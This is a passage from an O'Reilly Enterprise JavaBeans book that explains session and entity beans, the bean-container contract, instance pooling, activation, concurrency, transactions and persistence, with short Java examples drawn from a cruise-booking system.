        customer = cust;
    }
    public Ticket bookPassage(CreditCard card, double price)
        throws IncompleteConversationalState {
        // EJB 1.0: also throws RemoteException

        if (customer == null || cruise == null || cabin == null) {
            throw new IncompleteConversationalState();
        }
        try {
            ReservationHome resHome = (ReservationHome)
                getHome("ReservationHome",ReservationHome.class);
            Reservation reservation =
            resHome.create(customer, cruise, cabin,price);
            ProcessPaymentHome ppHome = (ProcessPaymentHome)
                getHome("ProcessPaymentHome",ProcessPaymentHome.class);
            ProcessPayment process = ppHome.create();
            process.byCredit(customer, card, price);

            Ticket ticket = new Ticket(customer,cruise,cabin,price);
            return ticket;
        } catch(Exception e){
            // EJB 1.0: throw new RemoteException("",e);
            throw new EJBException(e);
        }
    }

// More business methods and EJB state management methods follow.
}

This example leaves out some details, but it demonstrates the difference in purpose between a session bean and an entity bean. Entity beans represent the behavior and data of a business object, while session beans model the workflow of beans. The client application uses the TravelAgent bean to perform a task using other beans. For example, the TravelAgent bean uses a ProcessPayment bean and a Reservation bean in the process of booking a passage. The ProcessPayment bean processes a credit card and the Reservation bean records the actual reservation in the system. Session beans can also be used to read, update, and delete data that can't be adequately captured in an entity bean. Session beans don't represent records or data in the database like entity beans but can access data in the database.

All the work performed by TravelAgent session bean could have been coded in the client application. Having the client interact directly with entity beans is a common but troublesome design approach because it ties the client directly to the details of the business tasks. This is troublesome for two reasons: any change in the entity beans and their interaction require changes to the client, and it's very difficult to reuse the code that models the workflow.

Session beans are coarse-grained components that allow clients to perform tasks without being concerned with the details that make up the task. This allows developers to update the session bean, possibly changing the workflow, without impacting the client code. In addition, if the session bean is properly defined, other clients that perform the same tasks can reuse it. The ProcessPayment session bean, for example, can be reused in many other areas besides reservations, including retail and wholesale sales. For example, the ship's gift shop could use the ProcessPayment bean to process purchases. As a client of the ProcessPayment bean, the TravelAgent bean doesn't care how ProcessPayment works; it's only interested in the ProcessPayment bean's coarse-grained interface, which validates and records charges.

Moving workflow logic into a session bean also helps to thin down the client applications and reduce network traffic and connections. Excessive network traffic is actually one of the biggest problems in distributed object systems. Excessive traffic can overwhelm the server and clog the network, hurting response times and performance. Session beans, if used properly, can substantially reduce network traffic by limiting the number of requests needed to perform a task. In distributed objects, every method invocation produces network traffic. Distributed objects communicate requests using an RMI loop. This requires that data be streamed between the stub and skeleton with every method invocation. With session beans, the interaction of beans in a workflow is kept on the server. One method invocation on the client application results in many method invocations on the server, but the network only sees the traffic produced by one method call on the session bean. In the TravelAgent bean, the client invokes bookPassage(), but on the server, the bookPassage() method produces several method invocations on the home interface and remote interface of other beans. For the network cost of one method invocation, the client gets several method invocations.

In addition, session beans reduce the number of network connections needed by the client. The cost of maintaining many network connections can be very high, so reducing the number of connections that each client needs is important in improving the performance of the system as a whole. When session beans are used to manage workflow, the number of connections that each client has to the server is substantially reduced, which improves the EJB server's performance. Figure 2-3 compares the network traffic and connections used by a client that only uses entity beans to that used by a client that uses session beans.

Figure 2-3. Session beans reduce network traffic and thin down clients

Session beans also limit the number of stubs used on the client, which saves the client memory and processing cycles. This may not seem like a big deal, but without the use of session beans, a client might be expected to manage hundreds or even thousands of remote references at one time. In the TravelAgent bean, for example, the bookPassage() method works with several remote references, but the client is only exposed to the remote reference of the TravelAgent bean.

2.2.2.1. Stateless and stateful session beans

Session beans can be either stateful or stateless. Stateful session beans maintain conversational state when used by a client. Conversational state is not written to a database; it's state that is kept in memory while a client uses a session. Maintaining conversational state allows a client to carry on a conversation with a bean. As each method on the bean is invoked, the state of the session bean may change, and that change can affect subsequent method calls. The TravelAgent session bean, for example, may have many more methods than the bookPassage() method. The methods that set the cabin and cruise IDs are examples. These set methods are responsible for modifying conversational state. They convert the IDs into remote references to Cabin and Cruise beans that are later used in the bookPassage() method. Conversational state is only kept for as long as the client application is actively using the bean. Once the client shuts down or releases the TravelAgent bean, the conversational state is lost forever. Stateful session beans are not shared among clients; they are dedicated to the same client for the life of the bean.

Stateless session beans do not maintain any conversational state. Each method is completely independent and uses only data passed in its parameters. The ProcessPayment bean is a perfect example of a stateless session bean. The ProcessPayment bean doesn't need to maintain any conversational state from one method invocation to the next. All the information needed to make a payment is passed into the byCreditCard() method. Stateless session beans provide the highest performance in terms of throughput and resource consumption of all the bean types because few stateless session bean instances are needed to serve hundreds, possibly thousands of clients. Chapter 7, "Session Beans" talks more about the use of stateless session beans.

Previous | Home | Next
2.1. The Enterprise Bean Component | Book Index | 2.3. The Bean-Container Contract
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Bean-Container Contract (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

2.3. The Bean-Container Contract

The environment that surrounds the beans on the EJB server is often referred to as the container. The container is more a concept than a physical construct. Conceptually, the container acts as an intermediary between the bean class and the EJB server. The container manages the EJB objects and EJB homes for a particular type of bean and helps these constructs to manage bean resources and apply primary services like transactions, security, concurrency, naming, and so forth, to the bean instances at runtime. Conceptually, an EJB server may have many containers, each of which may contain one or more types of enterprise beans. As you will discover a little later, the container and the server are not clearly different constructs, but the EJB specification defines the component model in terms of the container responsibilities, so we will follow that convention here.

Enterprise bean components interface with the EJB server through a well-defined component model. The EntityBean and SessionBean interfaces are the bases of this component model. As we learned earlier, these interfaces provide callback methods that notify the bean class of state management events in its life cycle. At runtime, the container invokes the callback methods on the bean instance when appropriate state management events occur. When the container is about to write an entity bean instance's state to the database, for example, it first calls the bean instance's ejbStore() method. This provides the bean instance with an opportunity to do some clean up on its state just before it's written to the database. The ejbLoad() method is called just after the bean's state is populated from the database, providing the bean developer with an opportunity to manage the bean's state before the first business method is called.[2] Other callback methods can be used by the bean class in a similar fashion. EJB defines when these various callback methods are invoked and what can be done within their context. This provides the bean developer with a predictable runtime component model.

[2] The ejbLoad() and ejbStore() behavior illustrated here is for container-managed persistence. With bean-managed persistence the behavior is slightly different. This is examined in detail in Chapter 6, "Entity Beans".

While all the callback methods are declared in bean interfaces, a meaningful implementation of the methods is not mandatory. In other words, the method body of any or all of the callback methods can be left empty in the bean class. Beans that implement one or more callback methods are usually more sophisticated and access resources that are not managed by the EJB system. Enterprise beans that wrap legacy systems often fall into this category.

javax.ejb.EJBContext is an interface that is implemented by the container and is also a part of the bean-container contract. Entity type beans use a subclass of javax.ejb.EJBContext called javax.ejb.EntityContext. Session beans use a subclass called the javax.ejb.SessionContext. These EJBContext types provide the bean class with information about its container, the client using the bean, and the bean itself. They also provide other functionality that is described in more detail in Chapter 6, "Entity Beans" and Chapter 7, "Session Beans". The important thing about the EJBContext types is that they provide the bean with information about the world around it, which the bean can use while processing requests from both clients and callback methods from the container.

NOTE

EJB 1.1 has expanded the bean's interface with the container to include a JNDI name space, called the environment context, which provides the bean with a more flexible and extensible bean-container interface. The JNDI environment context is discussed in detail later in this book.

2.3.1. The Container-Server Contract

The container-server contract is not defined by the Enterprise JavaBeans specification. This was done to facilitate maximum flexibility for vendors defining their EJB server technologies. Other than isolating the beans from the server, the container's responsibility in the EJB system is a little vague. The EJB specification only defines a bean-container contract and does not define the container-server contract. It is difficult to determine, for example, exactly where the container ends and the server begins when it comes to resource management and other services.

In the first generation of EJB servers this ambiguity was not a problem because most EJB server vendors also provide EJB containers. Since the vendor provides both the container and the server, the interface between the two can remain proprietary. In future generations of the EJB specification, however, some work may be done to define the container-server interface and delimit the responsibilities of the container.

One advantage of defining a container-server interface is that it allows third-party vendors to produce containers that can plug into any EJB server. If the responsibilities of the container and server are clearly defined, then vendors who specialize in the technologies that support these different responsibilities can focus on developing the container or server as best matches their core competency. The disadvantage of a clearly defined container-server interface is that the plug-and-play approach could impact performance. The high level of abstraction that would be required to clearly separate the container interface from the server, would naturally lead to looser binding between these large components, which always results in lower performance. The following rule of thumb best describes the advantages and disadvantages associated with a container-server interface: the tighter the integration, the better the performance; the higher the abstraction, the greater the flexibility. The biggest deterrent to defining a container-server interface is that it would require the definition of low-level facilities, which was one of the problems that established CTM vendors had with CORBA. Allowing vendors to implement low-level facilities like transactions and security as they see fit is one of EJB's biggest attractions for vendors.

Many EJB-compliant servers actually support several different kinds of middleware technologies. It's quite common, for example, for an EJB server to support the vendor's proprietary CTM model as well as EJB, servlets, web server functionality, and other server technologies. Defining an EJB container concept is useful for clearly distinguishing what part of the server supports EJB from all the other services it provides.

This said, we could define the responsibilities of containers and servers based on current implementations of the EJB specification. In other words, we could examine how current vendors are defining the container in their servers and use this as a guide. Unfortunately, the responsibilities of the container in each EJB server largely depend on the core competency of the vendor in question. Database vendors, for example, implement containers differently from TP monitor vendors. The strategies for assigning responsibilities to the container and server are so varied that it would provide little value in understanding the overall architecture to discuss the container and server separately. Instead, this book addresses the architecture of the EJB system as if the container and server were one component.

The remainder of this book treats the EJB server and the container as the same thing and refers to them collectively as the EJB server, container, system, or environment.

Previous | Home | Next
2.2. Using Enterprise Beans | Book Index | 2.4. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

2.4. Summary

This chapter covered a lot of ground describing the basic architecture of an EJB system. At this point you should understand that beans are business object components. The home interface defines life-cycle methods for creating, finding, and destroying beans and the remote interface defines the public business methods of the bean. The bean class is where the state and behavior of the bean are implemented.

There are two basic kinds of beans: session and entity. Entity beans are persistent and represent a person, place, or thing. Session beans are extensions of the client and embody a process or a workflow that defines how other beans interact. Session beans are not persistent, receiving their state from the client, and they live only as long as the client needs them.

The EJB object and EJB home are conceptual constructs that delegate method invocations to the bean class from the client and help the container to manage the bean class. The client does not interact with the bean directly. Instead, the client software interacts with EJBObject and EJBHome stubs, which are connected to the EJB object and EJB homes respectively. The EJB object implements the remote interface and expands the bean class's functionality. The EJB home implements the home interface and works closely with the container to create, locate, and remove beans.

Beans interact with their container through the well-defined bean-container contract. This contract provides callback methods, the EJBContext, and the JNDI environment context (EJB 1.1 only). The callback methods notify the bean class that it is involved in state management event. The EJBContext and JNDI environment context provides the bean instance with information about its environment. The container-server contract is not well defined and remains proprietary at this time. Future versions of EJB may specify the container-server contract.

Previous | Home | Next
2.3. The Bean-Container Contract | Book Index | 3. Resource Management and the Primary Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Resource Management and the Primary Services (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 3. Resource Management and the Primary Services

Contents:

Resource Management
Primary Services
What's Next?

Chapter 2, "Architectural Overview" discussed the basic architecture of Enterprise JavaBeans (EJB), including the relationship between the bean class, remote interfaces, the EJB object and EJB home, and the EJB server. These architectural components define a common model for distributed server-side components in component transaction monitors (CTMs).

One of the reasons CTMs are such great distributed object platforms is that they do more than just distribute objects: they manage the resources used by distributed objects. CTMs are designed to manage thousands, even millions, of distributed objects simultaneously. To be this robust, CTMs must be very smart resource managers, managing how distributed objects use memory and processing power. EJB recognizes that some of the resource management techniques employed by CTMs are very common, and it defines interfaces that help developers create beans that can take advantage of these common practices.

EJB CTMs are also great distributed object brokers. Not only do they help clients locate the distributed objects they need, they also provide many services that make it much easier for a client to use the objects correctly. CTMs commonly support six primary services: concurrency, transaction management, persistence, object distribution, naming, and security. These services provide the kind of infrastructure that is necessary for a successful three-tier system.

This chapter discusses both the resource management facilities and the primary services that are available to Enterprise JavaBeans.

3.1. Resource Management

One of the fundamental benefits of using EJB servers is that they are able to handle heavy workloads while maintaining a high level of performance. A large business system with many users can easily require thousands of objects--even millions of objects--to be in use simultaneously. As the number of interactions among these objects increase, concurrency and transactional concerns can degrade the system's response time and frustrate users. EJB servers increase performance by synchronizing object interactions and sharing resources.

There is a relationship between the number of clients connected and the number of distributed objects that are required to service them. As client populations increase, the number of distributed objects and resources required increases. At some point, the increase in the number of clients will impact performance and diminish throughput. EJB explicitly supports two mechanisms that make it easier to manage large numbers of beans at runtime: instance pooling and activation.

3.1.1. Instance Pooling

The concept of pooling resources is nothing new. A commonly used technique is to pool database connections so that the business objects in the system can share database access. This trick reduces the number of connections needed, which reduces resource consumption and increases throughput. Pooling and reusing database connections is less expensive than creating and destroying connections as needed. Some CTMs also apply resource pooling to server-side components; this technique is called instance pooling. Instance pooling reduces the number of component instances, and therefore resources, needed to service client requests. In addition, it is less expensive to reuse pooled instances than to frequently create and destroy instances.

As you already know, EJB clients interact with the remote interfaces that are implemented by EJB objects. Client applications never have direct access to the actual bean. Instead, they interact with EJB objects, which wrap bean instances. Instance pooling leverages indirect access to beans to provide better performance. In other words, since clients never access beans directly, there's no fundamental reason to keep a separate copy of each bean for each client. The server can keep a much smaller number of beans around to do the work, copying data into or out of them as needed. Although this sounds like a resource drain, when done correctly, it greatly reduces the resources actually required at any one time.

3.1.1.1. The entity bean life cycle

To understand how instance pooling works, let's examine the life cycle of an entity bean. EJB defines the life cycle of an entity bean in terms of its relationship to the instance pool. An entity bean exists in one of three states:

No state

When a bean instance is in this state, it has not been instantiated yet. We identify this state to provide a beginning and an end for the life cycle of a bean instance.

Pooled state

When an instance is in the pooled state, it has been instantiated by the container but has not yet been associated with an EJB object.

Ready State

A bean instance in this state has been associated with an EJB object and is ready to respond to business method invocations.

3.1.1.2. Overview of state transitions

Each EJB vendor implements instance pooling for entity beans differently, but all instance pooling strategies attempt to manage collections of bean instances so that they are quickly accessible at runtime. To create an instance pool, the EJB container creates several instances of a bean class and then holds onto them until they are needed. As clients make business method requests, bean instances from the pool are assigned to the EJB objects associated with the clients. When the EJB object doesn't need the instance any more, it's returned to the instance pool. An EJB server maintains instance pools for every type of bean deployed. Every instance in an instance pool is equivalent ; they are all treated equally. Instances are selected arbitrarily from the instance pool and assigned to EJB objects as needed.

Soon after the bean instance is instantiated and placed in the pool, it's given a reference to a javax.ejb.EJBContext provided by the container. The EJBContext provides an interface that the bean can use to communicate with the EJB environment. This EJBContext becomes more useful when the bean instance moves to the Ready State.

NOTE

EJB 1.1 has extended the bean's interface with its environment to include a JNDI context called the environment context. The function of the environment context in EJB 1.1 is not critical to this discussion and will be addressed in more detail later in the chapter.

When a client uses an EJB home to obtain a remote interface to a bean, the container responds by creating an EJB object. Once created, the EJB object is assigned a bean instance from the instance pool. When a bean instance is assigned to an EJB object, it officially enters the Ready State. From the Ready State, a bean instance can receive requests from the client and callbacks from the container. Figure 3-1 shows the sequence of events that result in an EJB object wrapping a bean instance and servicing a client.

Figure 3-1. A bean moves from the instance pool to the Ready State

When a bean instance moves into the Ready State, the EntityContext takes on new meaning. The EntityContext provides information about the client that is using the bean. It also provides the instance with access to its own EJB home and EJB object, which is useful when the bean needs to pass references to itself to other instances, or when it needs to create, locate, or remove beans of its own class. So the EntityContext is not a static class; it is an interface to the container and its state changes as the instance is assigned to different EJB objects.

When the client is finished with a bean's remote reference, either the remote reference passes out of scope or one of the bean's remove methods is called.[1] Once a bean has been removed or is no longer in scope, the bean instance is disassociated from the EJB object and returned to the instance pool. Bean instances can also be returned to the instance pool during lulls between client requests. If a client request is received and no bean instance is associated with the EJB object, an instance is retrieved from the pool and assigned to the EJB object. This is called instance swapping.

[1] Both the EJBHome and the EJBObject interfaces define methods that can be used to remove a bean.

After the bean instance returns to the instance pool, it is again available to service a new client request. Chapter 3, "Resource Management and the Primary Services" illustrates the complete life cycle of a bean instance.

Figure 3-2. Life cycle of a bean instance

The number of instances in the pool fluctuates as instances are assigned to EJB objects and returned to the pool. The container can also manage the number of instances in the pool, increasing the count when client activity increases and lowering the count during less active periods.

3.1.1.3. Instance swapping

Stateless session beans offer a particularly powerful opportunity to leverage instance pooling. A stateless session bean does not maintain any state between method invocations. Every method invocation on a stateless session bean operates independently, performing its task without relying on instance variables. This means that any stateless session instance can service requests for any EJB object of the proper type, allowing the container to swap bean instances in and out between method invocations made by the client.

Figure 3-3 illustrates this type of instance swapping between method invocations. In Chapter 3, "Resource Management and the Primary Services"(a), instance A is servicing a business method invocation delegated by EJB object 1. Once instance A has serviced the request, it moves back to the instance pool (Chapter 3, "Resource Management and the Primary Services"(b)). When a business method invocation on EJB object 2 is received, instance A is associated with that EJB object for the duration of the operation (Figure 3-3(c)). While instance A is servicing EJB object 2, another method invocation is received by EJB object 1 from the client, which is serviced by instance B (Figure 3-3(d)).

Figure 3-3. Stateless session beans in a swapping strategy

Using this swapping strategy allows a few stateless session bean instances to serve hundreds of clients. This is possible because the amount of time it takes to perform most method invocations is substantially shorter than the pauses between method invocations. The periods in a bean instance's life when it is not actively servicing the EJB object are unproductive; instance pooling minimizes these inactive periods. When a bean instance is finished servicing a request for an EJB object, it is immediately made available to any other EJB object that needs it. This allows fewer stateless session instances to service more requests, which decreases resource consumption and improves performance.

Stateless session beans are declared stateless in the deployment descriptor. Nothing in the class definition of a session bean is specific to being stateless. Once a bean class is deployed as stateless, the container assumes that no conversational state is maintained between method invocations. So a stateless bean can have instance variables, but because bean instances can be servicing several different EJB objects, they should not be used to maintain conversational state.

Implementations of instance pooling vary, depending on the vendor. One way that instance pooling implementations often differ is in how instances are selected from the pool. Two of the common strategies are FIFO and LIFO. The FIFO (first in, first out) strategy places instances in a queue, where they wait in line to service EJB objects. The LIFO (last in, first out) uses more of stack strategy, where the last bean that was added to the stack is the first bean assigned to the next EJB object. Figure 3-3 uses a LIFO strategy.

3.1.2. The Activation Mechanism

Unlike stateless session beans, stateful session beans maintain state between method invocations. This is called conversationalstate because it represents the continuing conversation with the stateful session bean's client. The integrity of this conversational state needs to be maintained for the life of the bean's service to the client. Stateful session beans do not participate in instance pooling like stateless session beans and entity beans. Instead, activation is used with stateful session beans to conserve resources. When an EJB server needs to conserve resources, it can evict stateful session beans from memory. This reduces the number of instances maintained by the system. To passivate the bean and preserve its conversational state, the bean's state is serialized to a secondary storage and maintained relative to its EJB object. When a client invokes a method on the EJB object, a new stateful instance is instantiated and populated from the passivated secondary storage.

Passivation is the act of disassociating a stateful bean instance from its EJB object and saving its state. Passivation requires that the bean instance's state be held relative to its EJB object. After the bean has been passivated, it is safe to remove the bean instance from the EJB object and evict it from memory. Clients are completely unaware of the deactivation process. Remember that the client uses the bean's remote interface, which is implemented by an EJB object, and therefore does not directly communicate with the bean instance. As a result, the client's connection to the EJB object can be maintained while the bean is passivated.

Activating a bean is the act of restoring a stateful bean instance's state relative to its EJB object. When a method on the passivated EJB object is invoked, the container automatically instantiates a new instance and sets its fields equal to the data stored during passivation. The EJB object can then delegate the method invocation to the bean as normal. Figure 3-4 shows activation and passivation of a stateful bean. In Chapter 3, "Resource Management and the Primary Services"(a), the bean is being passivated. The state of instance B is read and held relative to the EJB object it was serving. In Figure 3-4(b), the bean has been passivated and its state preserved. Here, the EJB object is not associated with a bean instance. In Figure 3-4(c), the bean is being activated. A new instance, instance C, has been instantiated and associated with the EJB object, and is in the process of having its state populated. The instance C is populated with the state held relative to the EJB object.

Figure 3-4. The activation process

The exact mechanism for activating and passivating stateful beans is up to the vendor, but all stateful beans are serializable and thus provide at least one way of temporarily preserving their state. While some vendors take advantage of the Java serialization mechanism, the exact mechanism for preserving the conversational state is not specified. As long as the mechanism employed follows the same rules as Java serialization with regard to transitive closure of serializable objects, any mechanism is legal. Because Enterprise JavaBeans also supports other ways of saving a bean's state, the transient property is not treated the same when activating a passivated bean as it is in Java serialization. In Java serialization, transient fields are always set back to the initial value for that field type when the object is deserialized. Integers are set to zero, Booleans to false, object references to null, etc. In EJB, transient fields are not necessarily set back to their initial values but can maintain their original values, or any arbitrary value, after being activated. Care should be taken when using transient fields, since their state following activation is implementation specific.

The activation process is supported by the state-management callback methods discussed in Chapter 2, "Architectural Overview". Specifically, the ejbActivate() and ejbPassivate() methods notify the stateful bean instance that it is about to be activated or passivated, respectively. The ejbActivate() method is called immediately following the successful activation of a bean instance and can be used to reset transient fields to an initial value if necessary. The ejbPassivate() method is called immediately prior to passivation of the bean instance. These two methods are especially helpful if the bean instance maintains connections to resources that need to be manipulated or freed prior to passivation and reobtained following activation. Because the stateful bean instance is evicted from memory, open connections to resources are not maintained. The exceptions are remote references to other beans and the SessionContext, which must be maintained with the serialized state of the bean and reconstructed when the bean is activated.

NOTE

EJB 1.1 also requires that the references to the JNDI environment context, home interfaces, and the UserTransaction be maintained through passivation.

Entity beans do not have conversational state that needs to be serialized like stateful beans; instead, the state of entity bean instances is persisted directly to the database. Entity beans do, however, leverage the activation callback methods (ejbActivate() and ejbPassivate()) to notify the instance when it's about to be swapped in or out of the instance pool. The ejbActivate() method is invoked immediately after the bean instance is swapped into the EJB object, and the ejbPassivate() method is invoked just before the instance is swapped out.

Previous | Home | Next
2.4. Summary | Book Index | 3.2. Primary Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Primary Services (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

3.2. Primary Services

There are many value-added services available for distributed applications. The OMG (the CORBA governing body), for example, has defined 13 of these services for use in CORBA-compliant ORBs. This book looks at six value-added services that are called the primary services, because they are required to create an effective CTM. The primary services include concurrency, transactions, persistence, distributed objects, naming, and security.

The six primary services are not new concepts; the OMG defined interfaces for a most of them in CORBA some time ago. In most traditional CORBA ORBs, services are add-on subsystems that are explicitly utilized by the application code. This means that the server-side component developer has to write code to use primary service APIs right alongside their business logic. The use of primary services becomes complicated when they are used in combination with resource management techniques because the primary services are themselves complex. Using them in combination only compounds the problem.

As more complex component interactions are discovered, coordinating these services becomes a difficult task, requiring system-level expertise unrelated to the task of writing the application's business logic. Application developers can become so mired in the system-level concerns of coordinating various primary services and resource management mechanisms that their main responsibility, modeling the business, is all but forgotten.

EJB servers automatically manage all the primary services. This relieves the application developers from the task of mastering these complicated services. Instead, developers can focus on defining the business logic that describes the system, and leave the system-level concerns to the CTM. The following sections describe each of the primary services and explain how they are supported by EJB.

3.2.1. Concurrency

Session beans do not support concurrent access. This makes sense if you consider the nature of both stateful and stateless session beans. A stateful bean is an extension of one client and only serves that client. It doesn't make sense to make stateful beans concurrent if they are only used by the client that created them. Stateless session beans don't need to be concurrent because they don't maintain state that needs to be shared. The scope of the operations performed by a stateless bean is limited to the scope of each method invocation. No conversational state is maintained.

Entity beans represent data in the database that is shared and needs to be accessed concurrently. Entity beans are shared components. In Titan's EJB system, for example, there are only three ships: Paradise, Utopia, and Valhalla. At any given moment the Ship entity bean that represents the Utopia might be accessed by hundreds of clients. To make concurrent access to entity beans possible, EJB needs to protect the data represented by the shared bean, while allowing many clients to access the bean simultaneously.

In a distributed object system, problems arise when you attempt to share distributed objects among clients. If two clients are both using the same EJB object, how do you keep one client from writing over the changes of the other? If, for example, one client reads the state of an instance just before a different client makes a change to the same instance, the data that the first client read becomes invalid. Figure 3-5 shows two clients sharing the same EJB object.

Figure 3-5. Clients sharing access to an EJB object

EJB has addressed the dangers associated with concurrency by implementing a simple solution: EJB, by default, prohibits concurrent access to bean instances. In other words, several clients can be connected to one EJB object, but only one client thread can access the bean instance at a time. If, for example, one of the clients invokes a method on the EJB object, no other client can access that bean instance until the method invocation is complete. In fact, if the method is part of a larger transaction, then the bean instance cannot be accessed at all, except within the same transactional context, until the entire transaction is complete.

Since EJB servers handle concurrency automatically, a bean's methods do not have to be made thread-safe. In fact, the EJB specification prohibits use of the synchronized keyword. Prohibiting the use of the thread synchronization primitives prevents developers from thinking that they control synchronization and enhances the performance of bean instances at runtime. In addition, EJB explicitly prohibits beans from creating their own threads. In other words, as a bean developer you cannot create a thread within a bean. The EJB container has to maintain complete control over the bean to properly manage concurrency, transactions, and persistence. Allowing the bean developer to create arbitrary threads would compromise the container's ability to track what the bean is doing, and thus would make it impossible for the container to manage the primary services.

3.2.1.1. Reentrance

When talking about concurrency, we need to discuss the related concept of reentrance. Reentrance is when a thread of control attempts to reenter a bean instance. In EJB, bean instances are nonreentrant by default, which means that loopbacks are not allowed. Before I explain what a loopback is, it is important that you understand a very fundamental concept in EJB: enterprise beans interact using each other's remote references and do not interact directly. In other words, when bean A operates on bean B, it does so the same way an application client would, by using B's remote interface as implemented by an EJB object. This rule enforces complete location transparency. Because interactions with beans always take place using remote references, beans can be relocated--possibly to a different server--with little or no impact on the rest of the application.

Figure 3-6 shows that, from a bean's point of view, only clients perform business method invocations. When a bean instance has a business method invoked, it cannot tell the difference between an application client and a bean client.

Figure 3-6. Beans access each other through EJB objects

A loopback occurs when bean A invokes a method on bean B that then attempts to make a call back to bean A. Figure 3-7 shows this type of interaction. In Figure 3-7, client 1 invokes a method on bean A. In response to the method invocation, bean A invokes a method on bean B. At this point, there is no problem because client 1 controls access to bean A and bean A is the client of bean B. If, however, bean B attempts to call a method on bean A, it would be blocked because the thread has already entered bean A. By calling its caller, bean B is performing a loopback. This is illegal by default because EJB doesn't allow a thread of control to reenter a bean instance. To say that beans are nonreentrant by default is to say that loopbacks are not allowed.

Figure 3-7. A loopback scenario

The nonreentrance policy is applied differently to session beans and entity beans. Session beans can never be reentrant, and they throw a RemoteException if a loopback is attempted. The same is true of a nonreentrant entity bean. Entity beans can be configured in the deployment descriptor to allow reentrance at deployment time. Making an entity bean reentrant, however, is discouraged by the specification.

As discussed previously, client access to a bean is synchronized so that only one client can access any given bean at one time. Reentrance addresses a thread of control--initiated by a client request--that attempts to reaccess a bean instance. The problem with reentrant code is that the EJB object--which intercepts and delegates method invocations on the bean instance--cannot differentiate between reentrant code and multithreaded access from the same client with the same transactional context. (More about transactional context in Chapter 8, "Transactions".) If you permit reentrance, you also permit multithreaded access to the bean instance. Multithreaded access to a bean instance can result in corrupted data because threads impact each other's work trying to accomplish their separate tasks.

It's important to remember that reentrant code is different from a bean instance that simply invokes its own methods at an instance level. In other words, method foo() on a bean instance can invoke its own public, protected, default, or private methods directly as much as it wants. Here is an example of intra-instance method invocation that is perfectly legal:

public HypotheticalBean extends EntityBean {
    public int x;

    public double foo() {
        int i = this.getX();
        return this.boo(i);
    }
    public int getX() {
        return x;
    }
    private double boo(int i) {
        double value = i * Math.PI;
        return value;
    }
}

In the previous code fragment, the business method, foo(), invokes another business method, getX(), and then a private method, boo(). The method invocations made within the body of foo() are intra-instance invocations and are not considered reentrant.

3.2.2. Transactions

Component transaction monitors (CTMs) were developed to bring the robust, scalable transactional integrity of traditional TP monitors to the dynamic world of distributed objects. Enterprise JavaBeans, as a server-side component model for CTMs, provides robust support for transactions.

A transaction is a unit-of-work or a set of tasks that are executed together. Transactions are atomic; in other words, all the tasks in a transaction must be completed together to consider the transaction a success. In the previous chapter we used the TravelAgent bean to describe how a session bean controls the interactions of other beans. Here is a code snippet showing the bookPassage() method described in Chapter 2, "Architectural Overview":

public Ticket bookPassage(CreditCard card, double price)
throws IncompleteConversationalState { // EJB 1.0: also throws RemoteException

    if (customer == null || cruise == null || cabin == null) {
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome = (ReservationHome)
            getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer, cruise, cabin, price);
        return ticket;
    } catch(Exception e) {
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
}

The bookPassage() method consists of two tasks that must be completed together: the creation of a new Reservation bean and processing of the payment. When the TravelAgent bean is used to book a passenger, the charges to the passenger's credit card and the creation of the reservation must both be successful. It would be inappropriate for the ProcessPayment bean to charge the customer's credit card if the creation of a new Reservation bean fails. Likewise, you can't make a reservation if the customer credit card is not charged. An EJB server monitors the transaction to ensure that all the tasks are completed successfully.

Transactions are managed automatically, so as a bean developer you don't need to use any APIs to explicitly manage a bean's involvement in a transaction. Simply declaring the transactional attribute at deployment time tells the EJB server how to manage the bean at runtime. EJB does provide a mechanism that allows beans to manage transactions explicitly, if necessary. Setting the transactional attributes during deployment is discussed in Chapter 8, "Transactions", as is explicit management of transactions and other transactional topics.

3.2.3. Persistence

Entity beans represent the behavior and data associated with real-world people, places, or things. Unlike session type beans, entity beans are persistent. That means that the state of an entity is stored permanently in a database. This allows entities to be durable so that both their behavior and data can be accessed at any time without concern that the information will be lost because of a system failure.

When a bean's state is automatically managed by a persistence service, the container is responsible for synchronizing an entity bean's instance fields with the data in the database. This automatic persistence is called container-managed persistence. When beans are designed to manage their own state, as is often the case when dealing with legacy systems, it is called bean-managed persistence.

Each vendor gets to choose the exact mechanism for implementing container-managed persistence, but the vendor's implementation must support the EJB callback methods and transactions. The most common mechanisms used in persistence by EJB vendors are object-to-relational persistence and object database persistence.

3.2.3.1. Object-to-relational persistence

Object-to-relational persistence is perhaps the most common persistence mechanism used in distributed object systems today. Object-to-relational persistence involves mapping entity bean fields to relational database tables and columns. An entity bean's fields represent its state. In Titan's system, for example, the CabinBean models the business concept of a ship's cabin. The following code shows an abbreviated definition of the CabinBean:

public class CabinBean implements javax.ejb.EntityBean {
    public int id;
    public String name;
    public int deckLevel;

   // Business and component-level methods follow.
}

With object-to-relational database mapping, the variable fields of an entity bean correspond to columns in a relational database. The Cabin's name, for example, maps to the column labeled NAME in a table called CABIN in Titan's relational database. Figure 3-8 shows a graphical depiction of this type of mapping.

Figure 3-8. Object-to-relational mapping of entity beans

Really good EJB systems provide wizards or administrative interfaces for mapping relational database tables to the fields of entity bean classes. Using these wizards, mapping entities to tables is a fairly straightforward process and is usually performed at deployment time. Figure 3-9 shows WebLogic's object-to-relational mapping wizard.

Figure 3-9. Object-to-relational mapping wizard

Once a bean's fields are mapped to the relational database, the container takes over the responsibility of keeping the state of an entity bean instance consistent with the corresponding tables in the database. This process is called synchronizingthe state of the bean instance. In the case of CabinBean, bean instances at runtime will map one-to-one to rows in the CABIN table of the relational database. When a change is made to a Cabin bean, it is written to the appropriate row in the database. Frequently, bean types will map to more than one table. These are more complicated mappings, often requiring an SQL join. Good EJB deployment tools should provide wizards that make multitable mappings fairly easy.

